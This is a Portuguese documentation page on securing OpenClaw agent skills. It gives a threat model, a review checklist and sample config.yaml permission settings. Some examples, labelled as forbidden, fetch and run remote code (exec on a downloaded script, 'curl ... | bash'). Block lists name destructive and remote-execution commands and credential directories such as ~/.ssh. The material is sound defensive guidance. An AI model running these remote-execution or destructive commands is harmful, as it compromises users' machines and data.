---
title: "Segurança e Permissões"
url: "https://openclaw.ia.br/skills/seguranca/"
markdown_url: "https://openclaw.ia.br/skills/seguranca.MD"
description: "Boas práticas de segurança ao usar e criar skills no OpenClaw, incluindo permissões, sandboxing e auditoria."
date: "2026-02-01"
author: ""
---

# Segurança e Permissões

Boas práticas de segurança ao usar e criar skills no OpenClaw, incluindo permissões, sandboxing e auditoria.


# Segurança de Skills

Skills são poderosos porque podem executar código e acessar recursos do sistema. Com grande poder vem grande responsabilidade.

## ⚠ Modelo de Ameaças

### Riscos de Skills Maliciosos

Um skill mal-intencionado poderia:
-  **Exfiltrar dados** - Enviar arquivos pessoais para servidores externos
-  **Destruir dados** - Deletar arquivos importantes
-  **Escalar privilégios** - Acessar recursos além do permitido
-  **Consumir recursos** - API calls excessivas gerando custos
-  **Espionar** - Capturar senhas, tokens, informações sensíveis

### Vetores de Ataque

1. **Supply chain** - Skill legítimo comprometido
2. **Typosquatting** - Skill falso com nome similar
3. **Social engineering** - Skill parece útil mas é malicioso
4. **Dependency confusion** - Scripts que baixam código malicioso

---

##  Boas Práticas para Usuários

### Antes de Instalar um Skill

#### 1. Verifique a Fonte

```bash
# Skills verificados são mais seguros
openclaw skill info nome-do-skill

# Verifique se tem badge de verificação
```

✅ Prefira skills:
- Do repositório oficial
- Com badge de verificação
- Com muitos downloads e avaliações
- De autores conhecidos

#### 2. Leia o Código

Antes de usar um skill desconhecido:

```bash
# Extraia e leia
unzip skill.skill -d /tmp/skill-review
cat /tmp/skill-review/SKILL.md
ls -la /tmp/skill-review/scripts/
cat /tmp/skill-review/scripts/*.py
```

 **Red flags no código:**
- `eval()` ou `exec()` com input externo
- Requests para URLs suspeitas
- Acesso a diretórios sensíveis (`~/.ssh`, `~/.aws`)
- Encoding/decoding estranho (possível ofuscação)

#### 3. Teste em Sandbox

Para skills suspeitos, teste em ambiente isolado:

```bash
# Usando Docker
docker run -it --rm -v ~/clawd/skills:/skills alpine sh

# Ou VM descartável
```

### Durante o Uso

#### Monitore Atividade de Rede

```bash
# macOS/Linux
sudo lsof -i -P | grep openclaw

# Ou use Little Snitch, LuLu, etc.
```

#### Limite Permissões

No `config.yaml`:

```yaml
security:
  # Restringir diretórios acessíveis
  allowedPaths:
    - ~/clawd
    - ~/Documents
  
  # Bloquear comandos perigosos
  blockedCommands:
    - rm -rf
    - curl | sh
    - wget | bash
  
  # Modo sandbox
  sandboxExec: true
```

#### Revogue Quando Não Usar

```bash
# Remova skills não utilizados
openclaw skill list
openclaw skill remove skill-nao-usado
```

---

##  Boas Práticas para Criadores

### Princípio do Menor Privilégio

Seu skill deve solicitar apenas o mínimo necessário:

```yaml
# ❌ Ruim
metadata:
  openclaw:
    requires:
      paths: ["~"]  # Acesso a tudo

# ✅ Bom
metadata:
  openclaw:
    requires:
      paths: ["~/Documents/projeto-x"]  # Só o necessário
```

### Evite Hardcoded Secrets

```python
# ❌ NUNCA faça isso
API_KEY = "sk-abc123..."

# ✅ Use variáveis de ambiente
import os
API_KEY = os.environ.get("MY_API_KEY")
```

### Valide Inputs

```python
# ❌ Perigoso
def process_file(path):
    return open(path).read()

# ✅ Seguro
def process_file(path):
    safe_path = Path(path).resolve()
    allowed_dir = Path.home() / "Documents"
    if not str(safe_path).startswith(str(allowed_dir)):
        raise ValueError("Path not allowed")
    return safe_path.read_text()
```

### Documente Permissões

No SKILL.md, seja transparente:

```markdown
## Permissões Necessárias

Este skill precisa de:
-  Acesso a ~/Documents/projetos
-  Conexão com api.exemplo.com
-  Escrita em ~/.cache/meu-skill

**Por quê:** Explicação clara de cada permissão.
```

### Não Execute Código Remoto

```python
# ❌ NUNCA
exec(requests.get("https://example.com/code.py").text)

# ❌ NUNCA
os.system("curl https://example.com/script.sh | bash")
```

---

##  Auditoria de Skills

### Checklist de Segurança

Antes de usar ou publicar um skill:

- [ ] Código revisado manualmente
- [ ] Sem hardcoded secrets
- [ ] Sem execução de código remoto
- [ ] Permissões mínimas necessárias
- [ ] Inputs validados e sanitizados
- [ ] Sem acesso a diretórios sensíveis desnecessário
- [ ] Conexões de rede documentadas
- [ ] Dependências conhecidas e confiáveis

### Ferramentas de Análise

```bash
# Buscar padrões suspeitos
grep -r "eval\|exec\|system\|popen" scripts/

# Verificar URLs externas
grep -r "http" scripts/

# Checar acesso a paths sensíveis
grep -r "\.ssh\|\.aws\|\.gnupg" scripts/
```

---

##  Reportando Vulnerabilidades

Se encontrar um skill malicioso ou vulnerável:

### No ClawHub

1. Vá para a página do skill
2. Clique em "Report Issue"
3. Selecione "Security Vulnerability"
4. Descreva o problema em detalhes

### Por Email

- security@openclaw.ai
- Inclua: nome do skill, versão, descrição da vulnerabilidade

### Disclosure Responsável

1. **Não publique** a vulnerabilidade imediatamente
2. Dê tempo para correção (30-90 dias)
3. Coordene com mantenedores
4. Publique após correção

---

##  Configuração de Segurança

### Exemplo de config.yaml Seguro

```yaml
security:
  # Modo de execução
  sandboxExec: true
  elevatedAllowed: false
  
  # Paths permitidos
  allowedPaths:
    - ~/clawd
    - ~/Documents
    - /tmp/openclaw-*
  
  # Paths bloqueados (sempre)
  blockedPaths:
    - ~/.ssh
    - ~/.aws
    - ~/.gnupg
    - ~/.config/gcloud
  
  # Comandos bloqueados
  blockedCommands:
    - rm -rf /
    - rm -rf ~
    - curl | sh
    - wget | bash
    - eval
  
  # Domínios permitidos para requests
  allowedDomains:
    - api.openai.com
    - api.anthropic.com
    - wttr.in
    - api.github.com
  
  # Limites
  maxTokensPerMinute: 100000
  maxApiCallsPerHour: 1000

skills:
  # Só skills verificados
  verifiedOnly: true
  
  # Auto-update com revisão
  autoUpdate: prompt
```

---

## Resumo

| Quem | Responsabilidade |
|------|------------------|
| **Usuários** | Verificar fonte, ler código, limitar permissões |
| **Criadores** | Menor privilégio, sem secrets, validar inputs |
| **Comunidade** | Reportar vulnerabilidades, revisar skills |

---

## Próximos Passos

- [Voltar para Skills Overview](/skills/)
- [Ver skills integrados (confiáveis)](/skills/built-in/)
- [Criar um skill seguro](/skills/criar-skill/)
